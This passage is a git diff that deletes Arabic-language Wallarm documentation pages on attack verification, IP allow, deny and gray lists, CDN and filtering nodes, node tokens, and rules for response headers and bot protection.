حدد هجومًا. -2. انقر على رمز الحالة في عمود **التحقق النشط**. -3. انقر على *فرض التحقق*. - -سترفع Wallarm أولوية التحقق من الهجوم في القائمة. - -![تحقق من الهجمات][img-verify-attack] - -## أنواع الهجمات التي لا تدعم التحقق - -الهجمات من الأنواع التالية لا تدعم التحقق: - -* [الهجوم بقوة الغلبة][al-brute-force-attack] -* [التصفح القسري][al-forced-browsing] -* [BOLA][al-bola] -* الهجمات التي تحتوي على حد لمعالجة الطلب -* الهجمات التي تم إغلاق الثغرات الأمنية الخاصة بها بالفعل -* الهجمات التي لا تحتوي على بيانات كافية للتحقق -* [الهجمات المتكونة من ضربات مجموعة حسب عناوين IPs الأصلية](../../admin-en/configuration-guides/protecting-with-thresholds.md) - -سيفشل إعادة التحقق من الهجوم في الحالات التالية: - -* الهجمات المرسلة عبر بروتوكول gRPC أو Protobuff -* الهجمات المرسلة عبر نسخة بروتوكول HTTP غير 1.x -* الهجمات المرسلة عبر طريقة غير واحدة من التالية: GET، POST، PUT، HEAD، PATCH، OPTIONS، DELETE، LOCK، UNLOCK، MOVE، TRACE -* فشل في الوصول إلى عنوان طلب أصلي -* علامات الهجوم موجودة في رأس الـ`HOST` -* [عنصر الطلب](../rules/request-processing.md) الذي يحتوي على علامات الهجوم مختلف عن واحد من التالية: `uri`، `header`، `query`، `post`، `path`، `action_name`، `action_ext` \ No newline at end of file diff --git a/docs/latest-ar/user-guides/ip-lists/overview.md b/docs/latest-ar/user-guides/ip-lists/overview.md deleted file mode 100644 index c173abea7f..0000000000 --- a/docs/latest-ar/user-guides/ip-lists/overview.md +++ /dev/null @@ -1,146 +0,0 @@ -# التصفية حسب الـ IP - -في قسم **قوائم الـ IP** لوحة تحكم Wallarm، يمكنك التحكم في الوصول إلى تطبيقاتك من خلال السماح وعدم السماح وتصفية القائمة الرمادية لعناوين الـ IP، والمواقع الجغرافية، ومراكز البيانات أو أنواع المصادر. - -* **القائمة المسموح بها** هي قائمة المصادر الموثوق بها التي تتجاوز حماية Wallarm وتصل إلى تطبيقاتك دون أي فحوصات. -* **القائمة المرفوضة** هي قائمة المصادر التي لا يمكنها الوصول إلى تطبيقاتك - سيتم حظر جميع الطلبات القادمة منهم. -* **القائمة الرمادية** هي قائمة المصادر المشبوهة التي يتم معالجتها من قبل العقدة فقط في [وضع تصفية الحماية الآمنة](../../admin-en/configure-wallarm-mode.md) كما يلي: إذا أصدر الـ IP الموجود في القائمة الرمادية طلبات ضارة، تحظر العقدة تلك الطلبات بينما تسمح بالطلبات المشروعة. - - الطلبات الضارة الصادرة عن الـ IPs الموجودة في القائمة الرمادية هي تلك التي تحتوي على علامات للهجمات التالية: - - * [هجمات التحقق من صحة الإدخال](../../attacks-vulns-list.md#input-validation-attacks) - * [الهجمات من نوع vpatch](../rules/vpatch-rule.md) - * [الهجمات التي تم اكتشافها على أساس التعابير العادية](../rules/regex-rule.md) - -![كل قوائم الـ IP](../../images/user-guides/ip-lists/ip-lists-home-apps.png) - -## كيفية العمل بين القائمة المسموح بها، والقائمة المرفوضة، والقائمة الرمادية - -تعتمد العقدة التصفية طرق مختلفة بناءً على العملية [الوضع](../../admin-en/configure-wallarm-mode.md) المحددة لتحليل قوائم الـ IP. و في بعض الأحيان، يتم تقييم كل ثلاثة أنواع من قوائم الـ IPs، والتي تتضمن القوائم المسموح بها، والقوائم الممنوعة، والقوائم الرمادية. ومع ذلك، في وضعيات أخرى، يركز فقط على قوائم الـ IP المحددة. - -توضح الصورة المقدمة أدناه بصريًا الأولويات والمجموعات من قوائم الـ IP في كل وضع عمل، مبرزة القوائم التي يتم النظر فيها في كل حالة: - -![أولويات قائمة الـ IP](../../images/user-guides/ip-lists/ip-lists-priorities.png) - -يعني هذا أن: - -* في أي وضع، إذا تم العثور على الـ IP في القائمة الأولى، لا يتم اعتبار القائمة التالية. -* القائمة الرمادية يتم النظر فيها فقط في وضع `Safe blocking`. - -!!! تحذير "الاستثناءات" - إذا كان [`wallarm_acl_access_phase off`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase)، فإن العقدة Wallarm لا تقوم بتحليل القائمة المرفوضة في الوضع `off` ولا تحظر الطلبات من الـ IPs المرفوضة في الوضع `Monitoring`. - -## تكوين قوائم الـ IP - -الخطوات: - -1. قرر أي قائمة تستخدم تبعًا لغرضك. -1. حدد [ما الذي سيتم إضافته](#select-object): الـ IP، الشبكة الفرعية، الموقع، نوع المصدر. -1. [إختر الوقت](#select-time-to-stay-in-list) الذي سيبقى فيه العنصر في القائمة (عادة ليس إلى الأبد). -1. [إحدود تطبيق الهدف](#limit-by-target-application) (ليس جميع الطلبات، ولكن فقط تلك التي تستهدف تطبيق معين). - -### اختر العنصر - -استخدم **إضافة عنصر** لإضافة العناصر التالية إلى أي من قوائم الـ IP: - -* **الـ IP أو الشبكة الفرعية** - الحد الأقصى المدعوم لقناع الشبكة الفرعية هو `/32` لعناوين IPv6 و `/12` لعناوين IPv4. - -* **الموقع** (الدولة أو المنطقة) لإضافة كافة عناوين الـ IP المسجلة في هذا البلد أو المنطقة -* **نوع المصدر** لإضافة كافة عناوين الـ IP التي تنتمي إلى هذا النوع. الأنواع المتاحة هي: - - * محركات البحث - * مراكز البيانات (AWS, GCP, Oracle, الخ.) - * المصادر المجهولة (Tor, Proxy, VPN) - * [IPs سيئة النية](#malicious-ip-feeds) - -![إضافة عنصر لقائمة الـ IP](../../images/user-guides/ip-lists/add-ip-to-list.png) - -!!! معلومات "تعبئة قوائم الـ IP تلقائيًا" - لاحظ أن المفضل هو [تعبئة القائمة تلقائيًا](#automatic-listing)، بالإضافة إلى إضافة العناصر يدويًا. - -### اختر الوقت للبقاء في القائمة - -عند إضافة عنصر إلى القائمة، تحدد الوقت الذي سيتم إضافته فيه. الوقت الأدنى هو 5 دقائق، الافتراضي هو 1 ساعة، الأقصى هو إلى الأبد. عند انتهاء الوقت، يتم حذف العنصر تلقائيًا من القائمة. - -يمكنك تغيير الوقت المحدد في أي لحظة في وقت لاحق - للقيام بذلك، في قائمة العنصر، انقر على **تغيير الفترة الزمنية** وقم بالتعديلات. - -إعداد هذا الوقت بالإضافة إلى إضافة وحذف الكائنات يدويًا يؤدي إلى تغييرات في قوائم الـ IP مع مرور الوقت. يمكنك [عرض الحالات التاريخية](#ip-list-history) لجميع القوائم. - -### حدد التطبيق الهدف - -عند إضافة عنصر إلى القائمة، سيتم معالجة جميع الطلبات من الـ IP المدرج بشكل افتراضي. ولكن يمكنك القيود على ذلك بواسطة [التطبيقات](../../user-guides/settings/applications.md) الهدف: حدد تطبيق واحد أو عدة تطبيقات وسيتم معالجة الطلبات فقط من الـ IP المدرج إلى تلك التطبيقات فقط. - -## تغذيات الـ IP الضارة - -عند إضافة نوع المصدر **الـ IPs الضارة** إلى واحدة من قوائم الـ IP، لاحظ أن هذا سيتضمن كل عناوين الـ IP التي تعرف جيدًا بسبب نشاطها الضار، كما هو مذكور في المصادر العامة، والتي تم التحقق منها عن طريق التحليل الخبير. نحن نسحب هذه البيانات من مجموعة مزيج من المصادر التالية: - -* [جماعة الإستخبارات الجماعية الأمنية](http://cinsscore.com/list/ci-badguys.txt) -* [قواعد الهجمات الناشئة من Proofpoint](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* [مستودع DigitalSide Threat-Intel](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) -* [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) -* [www.blocklist.de](https://www.blocklist.de/en/export.html) -* [مانع البوتات نهائي NGINX](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) -* [IPsum](https://github.com/stamparm/ipsum) - -## تاريخ قائمة الـ IP - -ليست لقوائم الـ IP فقط الحالة الحالية، ولكن أيضًا [الحالة القديمة](#select-time-to-stay-in-list) و هما مختلفتين. اختر تواريخ معينة لفحص محتوى قائمة الـ IP، وسوف يعود النظام بتاريخ **تفصيلي** للتغييرات، بما في ذلك توقيت و طريقة الإضافة، سواء كانت يدوية أو آلية. كما يوفر التقرير أيضا بيانات عن الأفراد المسؤولين عن التغييرات والأسباب التي تقف خلف كل إدراج. تساعد هذه النظرة في الحفاظ على سجل تدقيق للامتثال والتقارير. - -![تاريخ قائمة الـ IP](../../images/user-guides/ip-lists/ip-list-history.png) - -العودة إلى علامة التبويب **الآن** للحصول على الحالة الحالية لقائمة الـ IP، مما يتيح لك عرض الكائنات المدرجة حاليًا في القائمة. - -## الترتيب التلقائي - -يمكنك تمكين Wallarm لرفض أو تصفية عناوين الـ IP تلقائيًا إذا أنتجت بعض حركة المرور المشبوهة. يمكن القيام بذلك عن طريق: - -* [حماية من القوة الغاشمة](../../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [حماية BOLA](../../admin-en/configuration-guides/protecting-against-bola.md) -* [عبور الحظر عند الناسبة للأحمال المشبوهة](../../admin-en/configuration-guides/protecting-with-thresholds.md) -* [منع استخدام API بشكل سيئ](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works) - -لاحظ أنه إذا قمت بحذف الـ IP المدرج تلقائيًا يدويًا، إذا تم اكتشاف نشاط ضار جديد فسيتم إضافته تلقائيًا مرة أخرى ولكن: - -* **ليس قبل** نصف الفترة الزمنية السابقة - - على سبيل المثال، إذا تم رفض الـ IP تلقائيًا لمدة 4 ساعات بسبب هجوم BOLA منه وأنت تحذفه من القائمة المرفوضة، فلن يتم إضافته مرة أخرى في الساعتين التاليتين، حتى في حالة وقوع هجمات. - -* لـ ** منع استخدام API بشكل سيئ ** - فورًا - -## الحصول على إخطارات حول الـ IPs المرفوضة - -يمكنك الحصول على إشعارات حول الـ IPs المرفوضة حديثًا عبر المراسلات أو أنظمة SIEM التي تستخدمها كل يوم. لتمكين الإشعارات، في قسم **المشغلات**، قم بتكوين واحد أو عدة مشغلات بشرط الـ **IP المرفوض**، مثال: - -![مثال على المشغل للـ IP المرفوض](../../images/user-guides/triggers/trigger-example4.png) - -**لإختبار المشغل:** - -1. اذهب إلى لوحة تحكم Wallarm → **التكاملات** في [الولايات المتحدة](https://us1.my.wallarm.com/integrations/) أو [الاتحاد الأوروبي](https://my.wallarm.com/integrations/) الغيم، و قم بتهيئة [التكامل مع Slack](../../user-guides/settings/integrations/slack.md). -1. في **المشغلات**، إنشاء المشغل كما هو مبين أعلاه. -1. اذهب الى **قوائم الـ IP** → **القائمة المرفوضة** وأضف الـ IP `1.1.1.1` مع سبب "إنه بوت ضار". -1. تحقق من الرسائل في قناتك بالسلاك مثل: - ``` - [wallarm] تم رفض آي بي جديد - - نوع الإشعار: ip_blocked - - تم رفض العنوان IP 1.1.1.1 حتى 2024-01-19 15:02:16 +0300 - للسبب "إنه بوت ضار". يمكنك مراجعة العناوين IP المرفوضة - في قسم "قوائم الـ IP→ القائمة المرفوضة" لوحة تحكم Wallarm. - - تم تفعيل هذا الاشعار من خلال المشغل "إشعار بشأن الـ IPs المرفوضة الجديدة". وتم حظر الـ IP لتطبيق الإعدادات الإفتراضية. - - العميل: Your Company - الغيم: EU - ``` - -## تكوين العقد وراء حماة الحمل و CDNs للعمل مع قوائم الـ IP - -إذا كانت العقدة Wallarm تقع وراء حماة الحمل والـ CDN، يرجى التأكد من تكوين عقدتك Wallarm للإبلاغ بشكل صحيح عن عناوين الـ IP للمستخدمين النهائيين: - -* [تعليمات لعقد Wallarm القائمة على NGINX](../../admin-en/using-proxy-or-balancer-en.md) (بما في ذلك الصور التعاونية Amazon AWS / Google Cloud Platform و حاويات Docker node) -* [تعليمات للعقد التصفية المنشرة كمُرشد حرافي Wallarm ل Kubernetes](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## إدارة القوائم عبر الـ API. - -يمكنك الحصول على محتوى أي قائمة IP، وتعبئتها بالكائنات وحذف الكائنات منها من خلال [إستدعاء واجهة برمجة التطبيقات API](../../api/request-examples.md#api-calls-to-get-populate-and-delete-ip-list-objects) مباشرة. diff --git a/docs/latest-ar/user-guides/nodes/cdn-node.md b/docs/latest-ar/user-guides/nodes/cdn-node.md deleted file mode 100644 index d8f1da6373..0000000000 --- a/docs/latest-ar/user-guides/nodes/cdn-node.md +++ /dev/null @@ -1,70 +0,0 @@ -# عقد تصفية CDN - -تتيح لك قسم **العقد** في واجهة مستخدم كونسول Wallarm إدارة عقد [**عقدة Wallarm**](nodes.md) وعقد **CDN**. هذه المقالة تتناول عقد CDN. - -!!! info "عقد CDN تحت الخطة المجانية" - لا يدعم نشر نوع عقدة CDN تحت خطة[الخطة المجانية](../../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud). - ---8<-- "../include/waf/installation/cdn-node/how-cdn-node-works.md" - -## إنشاء عقدة - -لإنشاء عقدة CDN، يرجى اتباع [التعليمات](../../installation/cdn-node.md). - -## عرض تفاصيل العقدة - -يتم عرض تفاصيل العقدة المُثبتة في جدول وبطاقة لكل عقدة. لفتح البطاقة، انقر على سجل الجدول المناسب. - -تتوفر المعلومات والمقاييس التالية للعقدة: - -* اسم العقدة الذي يتم إنشاؤه بناءً على اسم النطاق المحمي -* عنوان IP للعقدة -* عنوان المنشأ المرتبط بالنطاق المحمي -* الرمز الفريد لتعريف العقدة (UUID) -* حالة العقدة -* شهادة SSL/TLS: شهادة Let's Encrypt التي يولدها Wallarm أو الشهادة الخاصة -* وقت آخر تزامن لعقدة التصفية و Wallarm Cloud -* تاريخ إنشاء عقدة التصفية -* عدد الطلبات التي تمت معالجتها بواسطة العقدة في الشهر الحالي -* الإصدارات المستخدمة من custom_ruleset و proton.db -* إصدارات حزم Wallarm المُثبتة -* مؤشر لتحديثات المكونات المتاحة - -![بطاقة عقدة CDN](../../images/user-guides/nodes/view-cdn-node-comp-vers.png) - -## تحديث عنوان المنشأ للمورد المحمي - -إذا كان موفر الاستضافة الخاص بك يقوم بتحديث عنوان IP للمنشأ أو النطاق المرتبط بالمورد المحمي ديناميكيًا، فيرجى الحفاظ على تحديث عنوان المنشأ المحدد في تكوين عقدة CDN. وإلا، لن تصل الطلبات إلى المورد المحمي نظرًا لأن عقدة CDN ستحاول توجيهها إلى عنوان منشأ غير صحيح. - -لتحديث عنوان المنشأ، استخدم خيار **تعديل عنوان المنشأ**. - -## تحميل شهادة SSL/TLS الخاصة - -تصدر Wallarm تلقائيًا شهادة [Let's Encrypt](https://letsencrypt.org/) مما يمكن HTTPS على نطاق عقدة CDN. يتم توليد الشهادات وتجديدها تلقائيًا حسب الحاجة. - -إذا كنت تمتلك بالفعل شهادة للنطاق المحمي وتفضل ذلك على شهادة Let's Encrypt، يمكنك تحميل شهادتك الخاصة باستخدام خيار **تحديث شهادة SSL/TLS**. - -## استخدام Varnish Cache - -يسرع استخدام عقدة CDN بالتزامن مع مسرع HTTP [Varnish Cache](https://varnish-cache.org/intro/index.html#intro) توصيل المحتوى للمستخدمين (مثل استجابات الخادم). ومع ذلك، إذا قمت بتغيير المحتوى الخاص بك، قد يتم تحديث النسخة المخزنة مؤقتًا على CDN بتأخير، مما قد يسبب [مشاكل](#why-is-there-a-delay-in-the-update-of-the-content-protected-by-the-cdn-node) ويكون سببًا لتعطيل Varnish Cache. - -لتجنب المشاكل مع سرعة تحديث المحتوى، يتم تعطيل Varnish Cache افتراضيًا. يمكنك تمكين/تعطيل Varnish Cache يدويًا. للقيام بذلك، انتقل إلى **العقد** → قائمة عقدة CDN → **تمكين Varnish Cache** أو **تعطيل Varnish Cache**. - -## حذف عقدة - -عند حذف عقدة التصفية، سيتم إيقاف تصفية الطلبات إلى نطاقك. لا يمكن التراجع عن حذف عقدة التصفية. سيتم حذف العقدة من قائمة العقد نهائيًا. - -1. حذف سجل CNAME الخاص بـ Wallarm من سجلات DNS للنطاق المحمي. - - !!! warning "سيتم إيقاف تخفيف الطلبات الضارة" - بمجرد إزالة سجل CNAME ودخول التغييرات حيز التنفيذ على الإنترنت، ستتوقف عقدة CDN الخاصة بـ Wallarm عن توجيه الطلبات وسيذهب الحركة المشروعة والضارة مباشرة إلى المورد المحمي. - - ينتج عن ذلك خطر استغلال ثغرات الخادم المحمي عند التأثير في السجل المحذوف لـ DNS ولكن لم يدخل سجل CNAME الذي تم إنشاؤه للإصدار الجديد من العقدة حيز التنفيذ بعد. -1. انتظر حتى يتم نشر التغييرات. تُعرض حالة سجل CNAME الفعلية في Wallarm Console → **العقد** → **CDN** → **حذف العقدة**. -1. حذف العقدة CDN من قائمة العقد. - -![حذف العقدة](../../images/user-guides/nodes/delete-cdn-node.png) - -## مشكلات عقدة CDN - ---8<-- "../include/waf/installation/cdn-node/cdn-node-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/nodes/nodes.md b/docs/latest-ar/user-guides/nodes/nodes.md deleted file mode 100644 index 8623f7a0eb..0000000000 --- a/docs/latest-ar/user-guides/nodes/nodes.md +++ /dev/null @@ -1,117 +0,0 @@ -# عقد Wallarm - -تتيح لك قسم **العقد** في واجهة مستخدم Wallarm Console إدارة عقد كل من أنواع **عقدة Wallarm** و[**عقدة CDN**](cdn-node.md). هذه المقالة تتعلق بعقد Wallarm. - -يجب نشر وحدات عقدة Wallarm في بيئة العميل حتى تتمكن Wallarm من التخفيف من حركة الإنترنت الضارة. تعمل عقدة Wallarm كوكيل عبر تخفيف الطلبات الضارة وتوجيه الطلبات المشروعة إلى المورد المحمي. - -خيارات إدارة واجهة مستخدم عقدة Wallarm: - -* إنشاء عقد جديدة -* عرض خصائص ومقاييس العقد المثبتة -* إعادة توليد رموز العقد -* إعادة تسمية العقد -* حذف العقد - -![العقد](../../images/user-guides/nodes/table-nodes.png) - -!!! info "وصول المسؤول" - إنشاء وحذف وإعادة توليد عقد/رموز Wallarm متاح فقط للمستخدمين ذوي دور **المسؤول** أو **المسؤول العالمي**. عرض تفاصيل العقد المثبتة متاح لجميع المستخدمين. - -!!! warning "إزالة أنواع العقد العادية والسحابية" - ابتداءً من الإصدار 4.6، فقط [**نوع عقدة Wallarm** متوفر](../../updating-migrating/what-is-new.md#removal-of-the-email-password-based-node-registration). - - **عقدة Wallarm** تستخدم نهجًا موحدًا للتسجيل والتكوين في [أي بيئة مدعومة](../../installation/supported-deployment-options.md). - -## إنشاء عقدة - -لإنشاء عقدة Wallarm باستخدام [الرمز المناسب](#api-and-node-tokens-for-node-creation): - -=== "باستخدام رمز API" - - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. - 1. نشر عقدة جديدة في [البيئة المناسبة](../../installation/supported-deployment-options.md) باستخدام رمز API الخاص بك. بعد تسجيل العقدة، ستظهر تلقائيًا في قسم **العقد** في وحدة تحكم Wallarm. - -=== "باستخدام رمز العقدة" - - 1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وأنشئ العقدة من نوع **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm](../../images/user-guides/nodes/create-cloud-node.png) - - 1. انسخ الرمز المولد. - 1. نشر عقدة جديدة في [البيئة المناسبة](../../installation/supported-deployment-options.md) باستخدام رمز عقدتك. - -!!! info "خيار العقد المتعددة المستأجرين" - خيار **العقد متعددة المستأجرين** يتيح استخدام Wallarm لحماية عدة بنى تحتية مستقلة للشركة أو بيئات معزولة في وقت واحد. [اقرأ المزيد](../../installation/multi-tenant/overview.md) - - === "تثبيت باستخدام رمز API" - - يمكنك تحويل عقدة إلى وضع متعدد المستأجرين بعد التثبيت من قائمة العقدة الموجودة. - - === "تثبيت باستخدام رمز العقدة" - - يمكنك تحويل عقدة إلى وضع متعدد المستأجرين إما أثناء إنشائها أو من قائمة العقدة الموجودة. - -## عرض تفاصيل عقدة - -تُعرض تفاصيل عقدة التصفية في جدول وبطاقة كل عقدة تصفية. لفتح البطاقة، انقر على سجل الجدول المناسب. - -الخصائص والمقاييس التالية للعقدة متوفرة: - -* اسم العقدة الذي تم إعطاؤه للعقدة عند الإنشاء -* متوسط عدد الطلبات في الثانية (RPS) -* عنوان IP للعقدة -* معرف العقدة الفريد (UUID) -* رمز عقدة Wallarm (مرئي فقط للمستخدمين ذوي [دور](../settings/users.md) **المسؤول** أو **المسؤول العالمي**) -* وقت آخر مزامنة لعقدة التصفية وسحابة Wallarm -* تاريخ إنشاء عقدة التصفية -* عدد الطلبات التي تمت معالجتها بواسطة العقدة في الشهر الحالي، يمكنك أيضًا **عرض الأحداث من هذه العقدة لليوم** (يتم التحويل إلى قسم **الهجمات**) -* إصدارات LOM و proton.db المستخدمة -* إصدارات حزم Wallarm المثبتة و NGINX و Envoy (إذا كانت موجودة) - -![بطاقة العقدة](../../images/user-guides/nodes/view-wallarm-node.png) - -إذا تم تثبيت عقدة Wallarm واحدة لعدة حالات (مثل معالجة حركة الإنترنت الأولية وتحليلات الطلبات التي تؤديها حالات الخادم المختلفة)، فإن العدد المناسب من عقد التصفية سيتم تجميعها في سجل واحد في الجدول. ستكون الخصائص والمقاييس متاحة لكل حالة. - -في Wallarm، تُسمى حالات العقدة بالطريقة التالية `hostname_NodeUUID`، حيث: - -* `hostname` هو اسم الجهاز العامل الذي يتم فيه إطلاق حالة العقدة -* `NodeUUID` هو معرف العقدة الفريد (UUID) - -يمكنك تعيين `hostname` يدويًا أثناء تثبيت العقدة باستخدام الوسيط `-n` في سكربت `register-node`. - -## إعادة توليد رمز العقدة - -ينشئ إعادة التوليد رمزًا جديدًا للعقدة. - -1. افتح Wallarm Console → **العقد**. -2. انقر على **إعادة توليد الرمز** في قائمة العقدة أو بطاقتها. -3. إذا كانت العقدة مثبتة بالفعل في بنيتك التحتية، انسخ قيمة الرمز الجديد وحددها ضمن إعدادات العقدة المثبتة. - -![إعادة توليد رمز العقدة](../../images/user-guides/nodes/generate-new-token.png) - -## حذف عقدة - -عند حذف العقدة، سيتوقف تصفية الطلبات إلى تطبيقك. لا يمكن التراجع عن حذف عقدة التصفية. سيتم حذف العقدة من قائمة العقد بشكل دائم. - -1. افتح Wallarm Console → **العقد**. -1. حدد عقدة واحدة أو أكثر وانقر على **حذف**. يمكنك أيضًا حذف عقدة التصفية عن طريق اختيار زر من قائمة العقدة أو بطاقتها. -1. أكد الإجراء. - -## رموز API ورموز العقد لإنشاء العقدة - -تتفاعل عقدة التصفية Wallarm مع سحابة Wallarm. لتوفير الوصول إلى API سحابة Wallarm للعقدة، تحتاج إلى توليد رمز على جانب السحابة واستخدامه على الجهاز الموجود فيه العقدة. استخدم **رموز API** (الموصى بها) أو **رموز العقد** لهذا الغرض: - -* [**رموز API**](../settings/api-tokens.md) بدور `Deploy` عند: - - * عدم معرفة عدد مجموعات العقد المستخدمة لتنظيم العقد في واجهة المستخدم مسبقًا (سيتم إضافة/إزالة مجموعات العقد باستمرار - مع رموز API ستتمكن من إدارة هذه المجموعات بسهولة بتعيين قيمة تسمية `المجموعة` باستخدام المتغير `WALLARM_LABELS`). - * تحتاج إلى التحكم في دورة حياة الرمز (يمكنك تحديد تاريخ انتهاء الصلاحية أو تعطيل رموز API مما يجعلها أكثر أمانًا). - - !!! info "رموز API غير مدعومة بواسطة بعض خيارات التثبيت" - حاليًا، لا يمكن استخدام رموز API لمتحكمات AWS بناءً على [وحدة Terraform](../../installation/cloud-platforms/aws/terraform-module/overview.md). استخدم رموز العقد بدلاً من ذلك. - -* **رموز العقد** عندما تعرف مسبقًا ما هي مجموعات العقد التي ستكون موجودة. استخدم **العقد** → **إنشاء عقدة** لإنشاء وتسمية مجموعة العقد. خلال نشر العقدة، استخدم رمز المجموعة لكل عقدة ترغب في تضمينها في المجموعة. - -!!! info "دعم التوسع التلقائي" - كلا نوعي الرموز يدعمان ميزة توسع العقد التلقائي المتوفرة في بعض السحب/خيارات التثبيت. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/add-replace-response-header.md b/docs/latest-ar/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index dab2676159..0000000000 --- a/docs/latest-ar/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1,38 +0,0 @@ -# تغيير رؤوس استجابة الخادم - -تسمح قاعدة [**تغيير رؤوس استجابة الخادم**](../../user-guides/rules/rules.md) بإضافة، حذف رؤوس استجابة الخادم وتغيير قيمها. - -غالبًا ما يُستخدم هذا النوع من القواعد لتكوين طبقة إضافية من أمن التطبيق، على سبيل المثال: - -* لإضافة رأس الاستجابة [`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) الذي يتحكم في الموارد المسموح للعميل بتحميلها لصفحة معينة. هذا يساعد على الحماية من هجمات [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss). - - إذا لم يقم الخادم بإعادة هذا الرأس افتراضيًا، يُنصح بإضافته باستخدام قاعدة **تغيير رؤوس استجابة الخادم**. يمكنك العثور على وصف ل[قيم الرأس الممكنة](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives) و[أمثلة على استخدام الرأس](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#examples_common_use_cases) في MDN Web Docs. - - بالمثل، يمكن استخدام هذه القاعدة لإضافة رؤوس الاستجابة [`X-XSS-Protection`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)، [`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)، [`X-Content-Type-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options). -* لتغيير رأس NGINX `Server` أو أي رأس آخر يحتوي على بيانات حول نسخ الوحدات المثبتة. يمكن استخدام هذه البيانات من قبل المهاجم لاكتشاف نقاط الضعف في نسخ الوحدات المثبتة ونتيجة لذلك، لاستغلال النقاط الضعفية المكتشفة. - - يمكن تغيير رأس NGINX `Server` بدءًا من عقدة Wallarm 2.16. - -يمكن أيضًا استخدام قاعدة **تغيير رؤوس استجابة الخادم** لمعالجة أي من قضايا الأعمال والفنية الخاصة بكم. - -## إنشاء وتطبيق القاعدة - ---8<-- "../include/waf/features/rules/rule-creation-options.md" - -لإنشاء وتطبيق القاعدة في قسم **القواعد**: - -1. أنشئ قاعدة **تغيير رؤوس استجابة الخادم** في قسم **القواعد** لواجهة Wallarm Console. تتكون القاعدة من المكونات التالية: - - * **الشرط** [يصف](rules.md#rule-branches) نقاط النهاية التي يتم تطبيق القاعدة عليها. - * اسم الرأس المراد إضافته أو استبدال قيمته. - * القيمة الجديدة للرأس المحدد. - - لحذف رأس الاستجابة الموجود ، يرجى ترك قيمة هذا الرأس فارغة على علامة التبويب **استبدال**. - -2. انتظر حتى [اكتمال تجميع القاعدة](rules.md#ruleset-lifecycle). - -## مثال: إضافة رأس سياسة الأمن وقيمته - -للسماح بكل محتوى `https://example.com/*` أن يأتي فقط من مصدر الموقع، يمكنك إضافة رأس الاستجابة [`Content-Security-Policy: default-src 'self'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#example_1) باستخدام قاعدة **تغيير رؤوس استجابة الخادم** كما يلي: - -![مثال على القاعدة "تغيير رؤوس استجابة الخادم"](../../images/user-guides/rules/add-replace-response-header.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/api-abuse-url.md b/docs/latest-ar/user-guides/rules/api-abuse-url.md deleted file mode 100644 index 62b32e62c8..0000000000 --- a/docs/latest-ar/user-guides/rules/api-abuse-url.md +++ /dev/null @@ -1,42 +0,0 @@ -# تعطيل حماية البوت لمسارات محددة وطلبات - -تعمل وحدة [**منع إساءة استخدام API**](../../api-abuse-prevention/overview.md) في منصة Wallarm على تحديد البوتات ومواجهتها بناءً على [الملفات الشخصية](../../api-abuse-prevention/setup.md) التي تحدد التطبيقات المحميّة، أنواع البوتات المستهدفة، مستوى التسامح، إلخ. بالإضافة إلى ذلك، تتيح قاعدة **تعيين وضع منع إساءة استخدام API** المذكورة في هذا المقال إمكانية إيقاف حماية البوت لمسارات URLs والطلبات المحددة. - -نظرًا لأن [باني عنوان URI](../../user-guides/rules/rules.md#uri-constructor) في القاعدة يتضمن عناصر المسار والطلب مثل الرؤوس، يمكنك استخدام القاعدة لتعطيل حماية البوت ليس فقط للمسارات التي تستهدفها الطلبات ولكن أيضًا لأنواع الطلبات المحددة، على سبيل المثال، للطلبات التي تحتوي على رؤوس محددة. - -!!! info "دعم القاعدة في إصدارات العقد المختلفة" - هذه الميزة مدعومة فقط بواسطة نسخ العقد 4.8 فما فوق. - -## إنشاء وتطبيق القاعدة - -لتعطيل حماية البوت لمسار URL أو نوع طلب محدد: - -1. انتقل إلى وحدة تحكم Wallarm → **القواعد** → **إضافة قاعدة**. -1. في **إذا كان الطلب هو**، [صف](../../user-guides/rules/rules.md#uri-constructor) الطلبات و/أو المسارات التي سيتم تطبيق القاعدة عليها. - - لتحديد المسار، إذا كنت تستخدم وحدة [**اكتشاف API**](../../api-discovery/overview.md) وتم اكتشاف نهايات التوصيل الخاصة بك، يمكنك أيضًا بسهولة إنشاء القاعدة للنهاية باستخدام قائمتها. - -1. في **ثم**، اختر **تعيين وضع منع إساءة استخدام API** وقم بتعيين: - - * **الافتراضي** - للنطاق الموصوف (مسار محدد أو طلب)، ستعمل الحماية من البوتات بالطريقة المعتادة المحددة بواسطة ملفات شخصية منع إساءة استخدام API المشتركة. - * **لا تتحقق من النشاط البوتي** - للمسار الموصوف و/أو نوع الطلب، لن يتم إجراء التحقق من النشاط البوتي. - -1. اختياريًا، في التعليق، حدد سبب إنشاء القاعدة لهذا المسار/نوع 